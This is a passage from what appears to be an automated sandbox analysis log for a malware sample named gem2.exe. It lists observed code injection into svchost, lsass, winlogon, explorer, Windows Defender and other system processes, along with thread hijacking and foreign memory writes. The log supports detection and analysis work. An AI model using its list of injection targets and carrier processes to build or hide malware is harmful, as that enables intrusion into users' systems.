Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 25A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: A70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 760000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 12B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: FE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 7D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2BF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2D70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 1200000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 24B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2300000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 7D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 12E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 14B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 27E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 14A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2820000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: D40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 12F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 1190000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2A10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2830000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2360000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2580000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 1010000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2F20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: EB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2140000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2430000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2F90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 760000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 25A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: E10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 790000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: D40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 3C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2520000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: E90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 1100000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 9A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 26E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2C30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2EA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2570000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2880000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2910000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2FD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 250000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2670000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2680000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 2300000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: A50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 1090000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: A70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 630000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: E50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 700000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: B10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: DC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 13D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: D50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 9A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 10A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8337D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2112DE50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F5A9650000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9A25C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 173D0380000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 237164F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 1C59D2E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 2AC381E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 2AC38210000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\Desktop\gem2.exe	Memory written: PID: 7788 base: 400000 value: 4D	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: PID: 7788 base: 401000 value: 55	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: PID: 7788 base: 402000 value: B8	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: PID: 7788 base: 404000 value: 00	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: PID: 7788 base: 42A000 value: 00	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: PID: 7788 base: 302D008 value: 00	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: PID: 4056 base: 2D10000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\gem2.exe	Thread register set: target process: 7628			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 1252			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD230000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD231000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD257000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD262000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD264000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD266000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD93A000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD93B000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE49000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE4A000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD94D9A8	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD94D9B0	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CD94D9B8	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE245F8	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE41DC0	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE429AB	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE44C48	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE44C60	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE44C68	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE44CF0	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE44D08	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE44D10	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE44D18	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE44D20	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 173CDE44D28	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\System32\svchost.exe base: 734F545010	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 404000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 42A000	Jump to behavior
Source: C:\Users\user\Desktop\gem2.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 302D008	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 19183EC010	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1CA7D1B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 17D2DD20000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F4B8F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 262F1CA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23942AE0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF056A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2287A7D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B94DA60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25202540000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9EBF90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19FF1600000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A76A170000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D26990000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2175D5C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0AB960000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2129B2A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26384180000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25178730000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1495FCF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22125D90000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 297A5D80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0F41C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C325340000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AEFC900000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 270F3530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D326280000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 16131E60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AE137C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C93A3B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2E4190000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1450000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB68FA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 265951C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C263510000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E110000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18198580000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF3C5C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 17ACFCF0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E8E330000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5A2950000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD340C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B653790000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B19A0E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24730B30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15F35DA0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 200792F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18CE9170000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D959540000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18F1AC00000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF01350000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 221D2530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D400530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 2D10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27844DD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 258B00D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA9A260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1BFB71A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26982020000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 185706E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1496A4A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 190043F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 16215D30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 159AD5E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 221570C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8E5260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 189090B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24BB1240000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 28182CD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BD9B7A0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F132290000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 35B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 252D6430000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B60FF60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 640000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 3060000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\BuPFtkXYGdZXMZGRPPcSosTkCntitwBdtvFUnmmU\aYQVUnoqctB.exe base: 25E0000
